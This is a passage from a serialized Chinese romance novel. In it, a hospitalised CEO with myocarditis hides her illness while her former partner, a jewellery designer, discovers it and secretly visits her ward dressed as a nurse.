最后拎着回病房的时候,果然听到了纪青云不满的声音:“怎么会有人知道我在这里?” 她住院的消息压得很死,早上例会的时候还特意换下了病号服。 目前纪氏应该只有韩悦知道。 至于公司外的关系,应该没有人…… “是林晓晓。”韩悦说道。 怕老板贵人多忘事,韩悦还解释了一句:“阮小姐的那个私人助理。” “我刚刚在医院门口遇到她,她大概是猜出来了,说是为了感谢您之前帮她妈妈手术的事情。” 纪青云并不太记得这个人,这件事。 只是听到“阮小姐”三个字的时候,放在洁白床单上的指尖轻轻收了收,目色顺着窗户看出去,金丝眼镜之后,浅琉璃色的眸子似乎有微微的波动。 “她走了吗?” 韩悦差点儿没反应过来:“您是问林晓晓吗?” “应该还没走远,我有她的手机号……”韩悦一边说着,一边解锁自己的手机,找到刚才那个发短信过来的号码。 纪青云没有出声,她就明白了纪青云的意思,是要叫林晓晓回来的。 林晓晓已经上了出租车。 所幸走得并不远,又回来了。 纪青云总算是她的恩人,她不见有些不礼貌。 但是阮陶然和纪青云的关系…… 就在她心里百转千回的时候,出门迎她的韩悦已经看到了她:“麻烦你又让跑一趟,等会儿……” 韩悦也是有些犹豫,最后还是小声说道:“等会儿拜托你说话委婉一些,她身体不太好,别惹她情绪波动太大。” “知道了。”林晓晓点了点头,走进去了。 纪青云并没有躺在床上,起了身,在客厅的沙发上坐着,甚至连病号服都换下来了,穿了件棉绸的淡色衬衫。 只是脸色有些白,神情憔悴。 暴露出,她是个病人。 她起身迎了林晓晓。 病中待客也没有半分失礼。 林晓晓吓了一跳,连忙道:“纪总,您坐着就好。” “抱歉耽误你的时间。”纪青云语气诚恳,“过会儿让韩悦送你回去。” “不用,我打车就可以……”她是想拒绝的,拒绝的话甚至已经说出来了,迎上那双清冷之中有些压迫感的眸子,吞下去了后半句话,点头道,“好。” “你母亲复诊挂的是普通门诊。” “我已经沟通过,以后你母亲来复查都是专家号,顾医生的号已经按照复查周期预留好了。” “这……”林晓晓有些不知说什么。 “费用已经垫付,这个你不用担心。” “谢谢您。”林晓晓悄悄打量着纪青云的脸色,总觉得,和以前的纪青云不一样。 以往跟着阮陶然见到纪青云的时候,她总是强势且不容置疑的样子,矜贵冷淡得像是亘古不化的寒冰。 是那种让人忍不住想要保持距离的冷。 这好像就是纪青云一如既往的样子。 后来阮陶然出国,纪青云多次造访,得不到想要的答案的时候,也只是淡淡的。 可今日,明明阮陶然回来了。 她的神色似乎比以往落寞寂寥一些,那种高高在上的感觉似乎有些摇摇欲坠。 大概是在病中,所以人会显得憔悴易碎吧,林晓晓这么想。 “我是想……”纪青云还是说出来了自己的目的,“问一些关于然然的事情。” 林晓晓紧张了一下。 她不想因为专家号,就出卖阮陶然。 然后就听到纪青云继续说道:“你放心,你觉得不太合适的问题可以不回答。给你母亲挂的专家号也是辛苦你回来一趟的酬劳,与我的问题没有任何关系。” “那您问吧……”林晓晓缓声道。 她做好了准备,纪青云可能会问一些关于感情的问题,比如阮陶然到底喜不喜欢她,阮陶然现在有没有恋爱,阮陶然和她讲起纪青云的时候都是怎么说…… 没想到,她听到纪青云语气很轻很轻地问道:“她喜欢什么颜色?” “橙色、蓝色。” “喜欢什么花?” “百合、荷花。” “她喜欢吃什么口味的食物?” “酸甜口,最喜欢话梅小排。” “她养过宠物吗?” “很小的时候养过猫猫、兔子、豚鼠、鹦鹉,她很喜欢小动物,只是后来跟着叔叔婶婶生活,就没有继续养了。” “……” 都是些很简单的问题。 阮陶然的喜好,阮陶然的一些基本信息。 林晓晓在说的时候,心里有些惊讶,这两个人在一起这么久,纪青云什么都不知道吗? 最后,纪青云顿了一下。 问了唯一一个有些越线的问题:“她心里……最在意的人是谁?” “……”林晓晓没有回答的声音。 “抱歉,这个问题不方便回答的话,可以不用回答。”纪青云马上说道。 “不是不方便。”林晓晓思索了一下说道,“只是我也没想到答案。” “可能是妈妈,也可能是爸爸,也有可能目前……是我?”林晓晓的语气并不确定。 但这个答案里面,没有纪青云。 “好,知道了,麻烦你。”纪青云轻声咳嗽了两声,并没有起身,而是缓声说道,“韩悦,帮忙送客,要把林小姐送到家里。” “知道了,纪总。”韩悦起身送客。 林晓晓站起来了,却在此时,又听到纪青云说道:“还有一件事要麻烦林小姐,今天的事情……麻烦不要让然然知道,在医院遇见我的事情也不要告诉她。” 韩悦开车把林晓晓送到家楼下的时候,韩悦想起来:“今天多谢你帮我开车,我们加个联系方式吧,我下次请你吃饭。” 林晓晓扫码加好友,眸子忍不住微微一缩。 这个头像……和她那个网友的头像一模一样? 不过她平时和网友沟通都是用企鹅,这图……她放大仔细看了看,应该是网图吧? 韩悦敲了敲病房的门。 却没有听到里面的声音。 忽然想起来纪青云没有起身送客的事。 心里咯噔一下,一把就把门推开了。 纪青云依旧在她离开时候的位置,只是从端坐的姿势变成了斜斜地靠着。 脸色有些出奇的白,额头上也有些微微的汗,眉心微微蹙着,轻轻闭着眸子。 韩悦连忙丢了手里的东西,走过去轻轻碰了碰纪青云的肩膀:“纪总?纪总?” 那双眸子睁开,似乎有一瞬间的茫然无措,一瞬之后,却又变成了稳重清冷的模样。 她淡淡说道:“没事,有点累,睡着了。” 第68章 第 68 章 医用消毒水的味道 “年度新锐设计师大赛季军就是——” 台上, 主持人正用着比较上扬夸张的表情,介绍此次比赛的结果。 阮陶然在侧幕候场,目光忍不住就往台下看去, 镁光灯有些刺眼,她眯了眯眼睛。 然后就看到, 最中央的座位是空着的,姓名水牌写着——纪青云。 纪氏入资Date,现在是大股东, 这个比赛最初原定的颁奖嘉宾就是纪青云。 来之前阮陶然跟冯珊珊确定了好几遍, 纪氏并没有更改颁奖嘉宾的人选。 她心里有些紧张, 不知为何的紧张, 在看到那张空椅子的时候, 心里的紧张落下去, 却也不知为何, 淡淡的失落。 上次见面, 是Seraphine的剪彩,纪总没有纠缠,没有强势, 就那么淡淡与她擦肩而过。 阮陶然这段时间缓缓接受了,或许纪青云是真的一时兴起已经落下, 已经放过她了。 然后阮陶然就必须面对自己的情绪就是,她失恋了。 这段关系的终结是她开始拒绝,可真正结束的时候, 人心里会落寞。 她大概是真的喜欢上纪青云了…… 所以不接受她们之间这样不平等的恋爱关系。 但结束之后, 心里偶尔也会想,是不是错了,不平等的恋爱至少是恋爱…… 她在晃神, 直到身边工作人员碰了碰她的胳膊,提醒道:“老师,老师,该你上场了。” 舞台上已经念过:“冠军是——Aling,阮陶然。” 聚光灯已经打在了侧幕边缘之上,阮陶然沉沉呼了口气,压住心里的思绪,换了个得体的微笑走出去。 灯晃得有些刺眼,她在音乐声和掌声之中走出去,在主持人身边站定。 然后一抬头,看到走到位置上落座的身影。 她似乎清瘦了些,黑色的西装显得身形有些单薄,但举手投足之间,一如既往矜贵清冷的模样。 她坐定了,抬头看过来,耳边的钻石耳饰轻轻摇晃,金丝眼镜之后浅琉璃色的眸子幽冷似海,与阮陶然对视。 “Aling老师说说自己的想法。”主持人的声音把阮陶然的思绪喊回来。 台上台下,所有人都在看着她,但她刚才什么都没听见,世界仿佛一瞬之间安静,只有她乱了一瞬的心跳声。 还好早就彩排过,这些问题也都是早就安排好了。 阮陶然微笑着回答:“其实我觉得几位走到决赛圈的老师的作品都很不错,我可能只是多了一点运气。” “从小给我影响最大的就是我的妈妈,她常常说,珠宝是为了衬托人的气质,与人之间是双向选择。” “所以,当它获得你的喜爱的时候,它就是无价的,一场拍卖的价格,并不一定代表一切。” “的确是这样,喜爱无价。”主持人接着说道,“听说Aling老师有自己的品牌,不如跟大家介绍一下?” 前面是正规流程,这里就是让阮陶然也有些意外了。 毕竟是Date主办的比赛,出现别的品牌的名字……给别的品牌做宣传…… 阮陶然迟疑了一下,然后就看到提词器上跳出来一行大字—— 冯珊珊:给你个宣传机会,三十秒,快说。 阮陶然眸子里忍不住微微一软,两三句介绍了Seraphine,还提及了Seraphine入驻星悦城的事情。 采访完,就是颁奖环节。 “让我们欢迎,我们的颁奖嘉宾,纪氏集团董事长兼CEO,纪青云女士。” 礼仪小姐的引导之下,纪青云从台侧走上来,从托盘里拿下来奖杯,递给阮陶然。 程式化的握手,纪青云甚至没有多用几分力气,微微碰触,就收回了手。 然后站到阮陶然身边,面对下面的摄像机拍合照。 她的手很凉,凉得阮陶然心里一颤,靠近拍照的时候,更是能从她身上幽冷的草木香味里面闻到不一样的味道。 这味道有些熟悉,但是她好像又一时想不起来。 拍照下台,纪青云没多做停留,把最后致辞留给了冯珊珊,径直离场了。 阮陶然在后台等最后的合照,沈秋序拿着一杯走过来,周围瞬间围上了一圈的人。 “沈总监——” “沈老师好——” 沈秋序眼皮子抬了一下当做是回应,径直走到了阮陶然身边,把手里咖啡递过去:“怎么闷闷不乐的啊?” “没有。”阮陶然接过来,迎着周围一圈羡慕的目光。 “怎么没有了?远远看过去,像是发了霉的小蘑菇。”沈秋序轻声道,“要说也是,冯珊珊太抠了,三十秒。” “冯姐姐已经破例了,我已经很知足了。”阮陶然马上说道。 “就是抠,拿了那么多好处,最后叽叽歪歪三十秒……”沈秋序不满地轻哼了一声,“看不惯商人身上的铜臭味。” 拿了好处?什么好处? 阮陶然还没来得及问,就听到工作人员喊:“后台各位老师,一起来拍大合照了,辛苦,辛苦。” 沈秋序拉住了阮陶然:“不急,等一会儿。” “现在上去乱糟糟的,还要等好久。”她很是有经验。 阮陶然也有空问刚才想要问的问题:“沈老师,你刚才说……什么好处?” “纪总给的好处啊,下季度投资增加百分之二十,不小的一笔钱呢。” “刚刚上台前跟冯珊珊说的,可把她高兴的,就这点钱,至于吗?” 沈大小姐是看不上这点钱,但阮陶然的脑子嗡了一下,纪青云? 台上的人差不多排好了,沈秋序才踩着细高跟姗姗来迟走出来,然后在众人的推让之中,拉着阮陶然站到了前排。 聚餐吃了饭,回家的时候已经接近凌晨了,阮陶然摸索着玄关的开关,咔哒一声开了灯,也听到砰的一声。 彩带飘飘扬扬落下来,林晓晓扑过来抱住她:“恭喜你,我的冠军闺蜜。” “哇,你还给我准备了惊喜啊?”阮陶然看到她背后桌子上,摆着一个巨大的蛋糕。 “那是当然,作为你最好的闺蜜,当然不能缺席你人生的重要时刻。” “当当当——”林晓晓还摸出来一个蛋糕店的廉价皇冠出来,“今晚,你就是女王。” “快来快来,切蛋糕。” “我还亲手做了烛光晚餐。” “跟我妈说了,今晚不回家,陪你庆祝。” 林晓晓像只快乐的小麻雀,绕着阮陶然叽叽喳喳不停。 作为好友,她当然不能让阮陶然从热闹的颁奖典礼回来,面对空荡荡的家这么大的落差。 阮陶然也知道她的心意,任由她拉着走过去,笑着切了蛋糕。 趁着林晓晓不注意,伸手擦了一点奶油,点在了她的鼻尖上。 “好啊,阮陶然,你搞偷袭。”林晓晓说着,也摸了蛋糕往她脸上擦。 你来我往好一会儿,两个人脸上都变成了小丑,躺在沙发上,相视一笑。 今天晚上这瓶红酒,林晓晓花了她一个半月的工资,阮陶然品了一口,忍不住轻轻蹙了蹙眉。 迎着林晓晓的目光,点头道:“嗯嗯嗯,不错,好喝。” “开了就不能浪费,今晚不醉不归。”林晓晓举起来杯子,和阮陶然碰杯。 其实两个人都喝不惯什么好酒,平日里喝过的红酒都是葡萄糖浆果汁。 所以,根本不知道这种红酒的酒劲到底有多足。 和阮陶然比起来,林晓晓的酒量要更差一些。 才三四口下去,林晓晓说话已经有些大舌头了。 “你尝尝,今晚的话梅小排,很好吃的。” “我的拿手好菜,为了你专门学的。” “昨天,还有人花大价钱,请我教她做这道菜呢。” “你就吹牛吧。”阮陶然忍不住笑起来,林晓晓的厨艺的确不错,但是花大价钱找她教学,总不至于到这个程度。 “真的。”林晓晓一脸认真。 “谁做了这个冤大头啊?”阮陶然调侃她说道,“该不会是伯母,你骗老人家养老金啊?” “不是,我妈的养老金用我骗吗?那不全都是我的?” 阮陶然唇角忍不住扬了扬,她们母女关系一向很好,她能感受到林晓晓的幸福。 “你绝对猜不到是谁。”林晓晓说道。 “那我是真猜不到。”阮陶然道,“世界这么大,这么多人,我怎么猜?” “你认识的,你猜猜嘛。”喝醉了的酒鬼,有时候就是不讲道理的。 “我不猜。” “你猜。” “不猜。” “你猜猜嘛。” 阮陶然:“……” “算了,我告诉你吧。”林晓晓勾了勾手指,凑近了些,神秘兮兮,“是纪总的助理,韩悦。” “韩悦?”阮陶然没想到的人选。 “对啊,我上次帮了她的大忙,她昨天请我吃饭,然后给了我一个大红包,说拜师学做话梅小排。” 她和韩悦之间居然有私交,这件事阮陶然不知道,但也不想多管。 虽然韩悦是那边的人,但是她无权干涉林晓晓交朋友的范围。 她并没有多问,但是酒鬼喝醉了会自己说。 “说起来那个帮忙,我也是厉害了,人生第一次开到奔驰了。” “豪车和驾校的破车就是不一样,驾校破车油门踩死都不跑,车门车窗叮当乱响。” “奔驰可太不一样了,我什么时候能开奔驰上下班啊?” 阮陶然:“……”也就只有林晓晓,能用驾校的破车和奔驰比较。 不过也正常,她只开过驾校的破车。 “就是医院门口车太多了,差一点儿,我就和一个骑电瓶车的大妈撞上了。” “还好我车技娴熟,一脚刹车就停住了。” 阮陶然:“……”要不是真的了解她,就真的信了她的车技娴熟了。 “行了行了,别吹了,吃点花生米吧。”阮陶然也是体会到了看醉鬼的快乐。 阮陶然没敢喝多少,只有些微微的酒意,把林晓晓扛到客房里,然后收拾桌上的残局。 晚上是不打算洗碗了,只把碗筷收起来,在桌面上喷了些消毒水,把桌子上的油污擦了一遍。 擦着擦着,阮陶然擦桌子的动作忽然停住了。 消毒水的味道,没错,就是消毒水的味道。 和她现在用的消毒水的味道不一样,是医用消毒水的味道,她在顾医生的身上经常闻到。 纪青云站在她身侧拍照的时候,压在幽冷草木香水味道下面的,就是医用消毒水的味道。 还有林晓晓说……在医院门口遇到了韩悦…… 第69章 第 69 章 这人,这是来住院的吗?…… 人都已经到了庆南医院了, 阮陶然才觉得清醒过来—— 她这么急冲冲跑来,干什么? 以什么样的身份去呢? 纪青云是不是已经一时兴起结束了? 是不是已经不在意她这个金丝雀了? 一重叠的问题冲上来,阮陶然的步子就止住了, 但是就这么转头就回去,似乎也不对劲。 遥遥看见中庭的咖啡店开着, 阮陶然脚步停顿了一下,朝着咖啡店走过去了。 大晚上的,喝咖啡的人不多, 偶尔有买咖啡的医护, 买完之后就匆匆走了。 阮陶然点了杯卡布奇诺, 正准备刷二维码付款的时候, 旁边伸过来一张工卡:“我来付, 工卡打折。” 熟悉的声音, 一抬头, 映入一双明媚灿烂的眸子。 顾寄欢朝她笑了笑:“上次请我喝可乐, 这次算我请你。” 她没有穿白大褂,穿了件藕粉色的羊毛大衣,里面是蕾丝边的针织内衬, 显得整个人精致有气质。 “怎么来医院了?你自己生病了还是家人身体不舒服?”她无比自然地和阮陶然搭话。 “没有,不是……”阮陶然一时有点不知道怎么解释。 顾寄欢似乎明白了什么, 释然一笑,把工卡放回到口袋里:“算了,我懂。” 两个人在靠窗的位置坐下了, 阮陶然确切地闻到一股味道, 在浓郁的咖啡味道之下的医用消毒水的味道。 外面正对着住院部,大楼灯火通明,中庭里有些散步的病人, 在家人的搀扶之下慢慢走着,低声说些家常话。 “顾医生还没有下班吗?”阮陶然问道。 “下班了。”顾寄欢有些无奈眨了眨眼,“但接我的人被堵路上了,打车回去她又不高兴,所以就想着来这儿点杯咖啡慢慢等。” 不必说,就知道是陆总。 “你呢?”顾寄欢问道。 “来都来了,不打算去看看?” 阮陶然指节微微一缩,蜷在一起,轻声道:“真是什么都瞒不过顾医生。” “你在担心什么?”顾寄欢问道,“我觉得我们也算是有来往,是好邻居,不算是酒肉朋友。” “把你的苦恼,跟我讲讲?”顾寄欢真的很擅长和人聊天。 这可能是大部分医生的特长之一,在长久的医患矛盾里面锻炼出来的能力。 “没有担心什么……”阮陶然轻声说道,“算了,我们已经分手了。” 但是说到这儿,阮陶然就忍不住要问一句:“顾医生,你知道她怎么了吗?现在还好吗?” “病人的病历是隐私,这个我不能告诉你。”顾寄欢摇了摇头。 “但是……”她话锋一转就说道,“你可以自己去亲眼看看啊。” “你想去看看吗?”顾寄欢问道。 “啊?”阮陶然怔了一下,有些没反应过来。 “你要是想的话,我带你去。”顾寄欢托着下颌,笑吟吟看着她,“偷摸摸看一眼,不让她知道。” “还可以……这样?”阮陶然大受震撼。 “走,反正等着也无聊。”顾寄欢直接站起来了。 阮陶然迷迷糊糊就被她拽到了办公室,迷迷糊糊被塞了一套护士服到怀里。 “你把衣服换上,到时候口罩一戴,往我背后一站,没人看得出来的。”顾寄欢拍了拍她的肩膀,“放心。” 阮陶然:“……”怎么感觉这套流程,她轻车熟路的样子? 顾寄欢出去了,留给她空间换衣服。 洁白的护士服就在手边,抬眼就能看到VIP病区的大楼。 阮陶然犹豫了一会儿,做了决定……就去看一眼,看她没什么问题就走。 跟在顾寄欢背后,走入VIP病区的大门的时候,阮陶然的心里都是有些怦怦跳不自然的。 “放宽心,晚上没什么人。”顾寄欢熟练地刷脸开门禁,带着阮陶然上了楼。 楼上果然是静悄悄的,夜已经深了,大灯已经关了,只剩下走廊和护士台的灯光。 护士看到顾寄欢,站了起来:“顾医生,您怎么来了?” “来看看朋友,嘘——”顾寄欢做了个噤声的姿势,拉着阮陶然往里侧走。 越是安静,阮陶然就越是听到自己的心跳声,眼前的灯光仿佛有了重影,她的确是很紧张。 “还没睡。”顾寄欢小声说了一句。 凑到阮陶然的耳边,指了指前面的门:“就那间。” 门上有一个小小的玻璃窗,透过玻璃可以看过去,只是只能看到床尾的位置,看不到床上的情况。 床尾的沙发上,韩悦坐着在整理文件,房间内静悄悄的,阮陶然忍不住屏住了呼吸。 “顾医生——”就在这个时候,忽然传来护士的脚步声。 护士走近了些,语气着急,却也顾忌着VIP病区的安静,轻声说道:“那边病人有点情况,您能不能帮忙看看?” VIP病区,一层分为两边,病房配套有会客室、茶室、会议室。 另外一边也住了人,是个八十多岁的老教授,扩心病住进来的。 “好。”顾寄欢毫不犹豫,临走之前拉着阮陶然的胳膊叮嘱了一句,“你在这儿等我,我等会儿来找你。” 阮陶然点了点头,顾寄欢就着急忙慌跟着护士走了。 阮陶然站在门口看了一会儿,见韩悦站起来,吓了一跳,第一反应就是找地方躲。 可这个地方她也不熟悉,一时完全找不到地方。 好在,韩悦只是起身倒了杯水,然后又坐下了。 她站了一会儿,腿有些僵了,心里天人交战了五百回合,最后也没有推开门进去。 没等来顾寄欢,她走回到刚才护士站的位置。 只剩下一个值班护士,看到阮陶然怔了一下。 阮陶然连忙解释道:“顾医生让我在这里等。” 那护士点了点头,不再管阮陶然。 阮陶然坐了不知道多久,甚至坐得有些昏昏欲睡。 来之前和林晓晓喝了点儿红酒,现在好似是酒意上来了,脑子有些懵懵的。 迷迷糊糊头往下点,然后肩膀就被人碰了碰:“护士,麻烦一下,那个病房的窗户关不紧。” 熟悉的声音,阮陶然一下子就清醒过来了,一抬头,对上韩悦的眼睛。 她赶紧低头,还好韩悦低头回了条手机消息,并没有和她对视。 “哦,那个窗子啊,要两个人关……”值班护士从卫生间匆匆走出来,眼神示意了一下阮陶然,“跟我来。” 阮陶然心里咯噔一下,但此刻又无处可退,只好跟在值班护士身后往病房走。 纪青云并没有在病房里,阮陶然松了一口气。 值班护士指挥她:“攥住那边那个把手,我们俩一起用力。” 这个是个大窗户,平日里都不开的。 两个人的力量加起来很大,一下子就把窗户关上了。 结束了……阮陶然转身准备跟着溜出去,忽听到韩悦一声“纪总”。 阮陶然慌忙躲在了值班护士的背后,结果那值班护士走开了,走到了床尾,拿起来网兜里面的平板开始翻护理记录。 阮陶然有些尴尬,她不知道自己这会儿应该往哪儿钻才好。 所幸,纪青云也没有看她,她直接从韩悦手里接过文件翻了翻。 “有问题的就是这几份?”纪青云的声音一如往常,沉稳镇定,不似在病中。 可余光看过去的时候,却也能看到,她脸上的气色并不好。 “对,有问题的地方秘书处已经圈起来了……今晚会议大概就是讨论这里……”韩悦指着文件跟纪青云讲。 “好。”纪青云拿了文件就出去了。 韩悦也跟在纪青云背后,阮陶然听到隔壁的门开,然后又关上。 隔壁是……会议室…… 阮陶然忍不住想起来,刚才纪青云是不是没有穿病号服? 大着胆子,阮陶然走上前去,到值班护士身边:“这个,我可以看吗?” 她指的是护理记录。 “你是心外科新来的吗?”值班护士问道,之前没见过你。 “嗯……”阮陶然含糊应了一声。 值班护士就把册子递过来了:“不准拍照,不准外传,只能学习观看。” 新人想看护理记录是正常的,是个学习的过程,值班护士也没想太多。 把平板塞到阮陶然手里之后,然后就去整理床铺了。 阮陶然不是很熟悉这个系统,里面的内容百分之九十看不懂,最后翻了几页,到底还是看到—— 病毒性心肌炎。 心脏的问题……阮陶然看得忍不住蹙眉,总觉得看起来很严重的样子。 “好了。”那值班护士已经走过来,拿下了手里的平板,“走吧,出去了。” 阮陶然跟在她背后出门,却没有跟着她会护士站,给了个上卫生间的借口,就溜到了会议室门口。 会议室门上没有玻璃,而且隔音效果很好,她要把耳朵贴上去,才依稀听得见里面的声音。 一场全英文的线上会议,大概是和国外的会议,所以在晚上。 阮陶然低头百度了一下“病毒性心肌炎”,看到——严重者可以导致休克、猝死……眼皮猛地一跳。 这人,这是来住院的吗? 不穿病号服,不好好在病房休息,大晚上在会议室开跨国会议? 第70章 第 70 章 阮陶然会来吗? 阮陶然并没有听很久, 就回了护士站。 值班护士很热情,拿了巧克力递过来:“饿了吗?吃点儿?” 人在陷入沉思的时候,往手里塞什么东西都会接住的。 所以阮陶然下意识就接住了, 下意识说了声谢谢。 是一块草莓夹心的巧克力,阮陶然刚剥开放进嘴里, 就听到门响的声音。 是会议室的方向。 然后是朝着这边而来的脚步声。 阮陶然心里一紧,连忙把口罩拉上去了,低下头去。 脚步在护士站停下, 然后是韩悦的声音:“我走了, 里面麻烦你们关照一下。” “好, 知道。”值班护士应了一声, 韩悦就走了。 阮陶然看着韩悦的身影进入电梯间, 看了眼会议室依旧关着的门:“她就这么走了吗?” 把纪青云一个人扔下了? “她又不是家属, 好像只是下属, 每天晚上都下班的。”值班护士随口应了一句。 她没回头, 在核对电脑屏幕上面的医嘱,所以也没有看到,阮陶然怔怔地看着会议室的方向看了很久。 醒过神来的时候, 是顾寄欢拍了拍她的肩膀:“好了,搞定了, 走吧。” 林晓晓睡得很香,根本不知道她跑去了医院一趟这样的事情。 她在床上翻来覆去了好多遍,天边既明的时候, 才迷迷糊糊睡过去。 感觉还没睡着许久, 就听到咚咚咚的敲门声。 迷迷糊糊听到林晓晓去开门的声音,然后是林晓晓的一声惊呼。 怎么了?阮陶然一下子清醒了,飞速起身, 开了卧室门出去。 一眼就看到林晓晓捧着的一大束红玫瑰,鲜红艳丽,上面还夹着一张贺卡。 “你谈恋爱了?”阮陶然问道。 林晓晓:“……”沉默了一下说道:“这里好像是你家。” 阮陶然:“……”奇了怪了,怎么会有人给她送红玫瑰? 林晓晓把花放在桌上,翻开上面的贺卡,清了清嗓子—— “送给我的小花,圣诞节快乐。” 林晓晓啧了一声:“是姜颂吧?她不是去拉美打比赛了吗?” “嗡嗡嗡——”阮陶然的手机在床头柜上震动。 来电显示——姜颂。 阮陶然顿了一下,接通了:“喂……” 她还没来得及问玫瑰花的事情,就听到姜颂的声音:“小花,看楼下。” 阮陶然走到窗边,一把拉开窗帘,一眼就看到楼下那个硕大的红玫瑰爱心。 姜颂就站在红玫瑰爱心的中央跟她挥手。 声音从手机里面传递出来:“圣诞是很重要的节日,要和爱的人一起度过,快换衣服下楼。” “不用了,我要上班。”阮陶然语气淡淡。 又一次的回绝,姜颂却似乎没受打击的样子,继续说道:“那我送你去上班。” “上次回来我搞定了国内的驾照,昨天刚提的新车。” 以往从来不愿意回国的人,在国内买了车,还在看新房,她为什么会这样,阮陶然心里很是明白。 阮陶然抿了抿唇,觉得自己应该说得很清楚一点:“姜颂,我们之间没有可能。” “为什么?”姜颂的语气似乎也有些沉了下去,“因为纪青云?” “我不介意你之前谈过恋爱。” “也不介意你需要一段时间来忘记她。” “小花,你们已经分手了,你应该往前看了。” “不是……”阮陶然打断了她的话,“不是因为她,不是因为任何人。” “姜颂,你到底喜欢我什么呢?” “我喜欢你,是因为你是我的小花啊。”姜颂理所当然。 “可如果你看到的只是假象呢?” “姜颂,我们从来没有很长时间的相处过,也不了解彼此……” 阮陶然看着楼下的人,站在窗边,轻声说道:“就连我,都不了解我自己……” “抱歉,真的抱歉。”阮陶然轻声说道。 林晓晓递过来纸巾的时候,阮陶然才意识到,有泪水顺着她的眼眶落下来。 挂了电话,林晓晓也不问太多,只是坐在她身边默默陪着她。 “你不问我吗?”阮陶然轻声道。 “问什么?你有自己的想法,就够了。”林晓晓给了她个大大的拥抱,“我尊重你的所有选择。” “无论你选择和谁在一起,都是我最好的朋友。” 阮陶然忍不住轻轻一笑,轻声道:“你这样会让我觉得你喜欢我。” “怎么可能?我是直女,铁直。”林晓晓连忙表明自己的立场。 “瞧你紧张的样子,还以为我要怎么你,逼你娶我啊?”阮陶然戳了一下她的脑门。 会开玩笑,也就是情绪都过去了。 林晓晓嘿嘿笑了笑:“你逼我也不行啊,我妈也不同意啊。” “我妈的人生理想,就是等我出息了,招个赘婿,然后给她生个大孙儿。” “好了好了,不跟你胡说八道了,收拾收拾要去上班了。”阮陶然站起身来,看似像是一秒就恢复了斗志。 只是去衣帽间换衣服的时候,看着镜子里的自己,还是忍不住轻轻叹了口气。 她倒不是因为拒绝姜颂难过。 而是忽然内心有些迷茫,她对自己也不了解,不知道自己到底是什么样的人,不知道自己到底想要做什么。 仿佛只是程式化完成应该完成的一切。 从来没有找到过真正的自己。 上班,别的也来不及想太多。 灵南,阮陶然带着林晓晓一路走来,听到旁边人打招呼的声音,微微颔首打招呼,然后满面春风地走过去。 Seraphine最近的业绩增长很是好看,昨晚阮陶然又在颁奖典礼上宣传,可见接下来会迎来新的热度高点。 阮陶然也总算是从一个花瓶,到拥有了自己的话语权。 开完会一行人走出去,唯有阮峰落在了最后,看着阮陶然的背影,眸子阴沉了几分。 他总觉得自己好像是引狼入室,现在已经开始发展到不可控制的地步了。 “这个是Seraphine下季度的宣传策划。” “这个是联名活动的策划案。” “这个是下周的公益活动的邀请函。” “……” “我按照轻重缓急帮你分好了,这边是今天要处理的……” 林晓晓有条不紊,倒是看得阮陶然的眉梢微微扬了扬:“跟哪儿学的,这么一本正经?” “在网上学的。”林晓晓嘿嘿笑了笑,说道,“阮总要给我加工资吗?” “看你表现。”阮陶然笑着调侃了一句。 “我一直都在好好表现,努力学习。” “这都是我跟网友学的,她好像是资深总助,干了好多年了。” “我还想着答谢她,下周请她吃个饭,她刚好也在江城……” “好了,明白,我报销。”阮陶然抬起睫羽,唇角微扬,“你这点小九九,还瞒不过我。” 这个时候在她面前提起来,肯定是有目的。 “倒也……不用你报销……”林晓晓不好意思笑了笑,“就是我想订的餐厅没位置了……” 狐狸尾巴总算是漏出来了,阮陶然心下了然:“我们吃过的星悦城那家?” “对。”林晓晓点头。 那家餐厅的确是不好定,但是Seraphine和它有宾客招待的长期合同,通过内部渠道可以订到。 林晓晓说道:“我用你的名义去订,提前跟你说一声。” 她是个很有分寸的人,可以不跟阮陶然打招呼,但她没有这么做。 得到了阮陶然的点头,林晓晓就去开开心心订房了。 阮陶然就按照轻重缓急看文件,刚往后翻了两本,桌上的手机就响了起来。 是个固定电话…… 多半是骚扰电话…… 挂断了,又打过来。 阮陶然犹豫了一下,还是接通了。 里面是个年轻女孩的声音:“您好,请问是纪青云家属吗?这里是庆南医院。” 阮陶然忍不住愣了一下,讷讷点了点头:“嗯,是。” “病人的病情有波动。这边需要您到医院一下,您现在方便吗?” “方便,方便。”阮陶然又急又快站起来,继续问道,“是出了什么事情吗?” 虽然不知道这电话怎么打到她这儿来,但她忍不住心里着急。 “电话里不好说,还是到医院里来一趟吧。”护士说道。 病房里,纪青云拿着平板,指尖微微划过去,目光定在最后家属手机号一栏上。 韩悦走了进来:“纪总,上午的会议……” “嗯,我知道。”纪青云伸手就把平板按灭了。 韩悦:“……”不是,她话还没说完,纪总到底有没有在听。 纪青云看向窗外,她觉得自己心跳的速度有些快,不知道是不是因为心肌炎导致的心率不齐,她微微有些心慌。 她掌心之中卧着一枚太阳花的胸针,手作针织,是阮陶然的。 昨晚的颁奖典礼上,她就戴着这枚胸针。 但今天早上醒来,这胸针出现在她的病房里。 好似是……她昨晚来过? 她不确定。 她有点像是溺水的人抓住了最后的一根稻草。 她心里总有种期望,好似阮陶然并不是丝毫不留情地离开了她的世界。 所以,等一会儿,阮陶然会来吗?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 第 71 章 可以不走吗? 就连韩悦, 都隐隐约约感觉到了纪青云的不对劲。 她手上的那份资料已经看了半个小时了,还在第一页,表情凝重, 唇线抿得微微有些紧。 “纪总……这份是有什么问题吗?”韩悦小心问道。 “没有……”纪青云的声音刚落下,咚咚两声敲门声, 纪青云捏着纸边的力度微微一紧。 韩悦已经喊了:“进——” 外面的人走进来,是个小护士,手里抱着个药框:“今天要输的液, 麻烦核对一下病人姓名, 纪青云是吗?” “是。”纪青云点头, 熟稔地把手递过去。 她的手比较白, 又比较瘦, 血管算是比较好找, 但是已经扎了好几天了, 护士找了一会儿才找到下针的角度。 按理来说, 最好是扎个留置针,但纪青云每天都要开会,不想让人看出来, 就只能每天扎。 而且右手又要签字,只能尽着左手一只手扎。 好在VIP病区的护士技术精湛, 一针就扎进去了。 固定好了针头,调整了一下滴液的速度,护士照旧叮嘱:“尽量不要动, 免得跑针, 有情况叫我。” 看到人手边上的一摞文件,到底是没说什么,规规矩矩走出去了。 早上医生查房说的那些话, 想必这位大佛也没有放在心上。 她一个小护士,自然也不能再叮嘱一遍,好好休息,注意作息之类的话了。 外面的阳光顺着窗户洒落进来,层层叠叠的光斑,位置随着太阳的方向缓缓移动。 “咔嚓——”门把手轻转的声音。 纪青云瞬间抬头看过去,与韩悦四目相对。 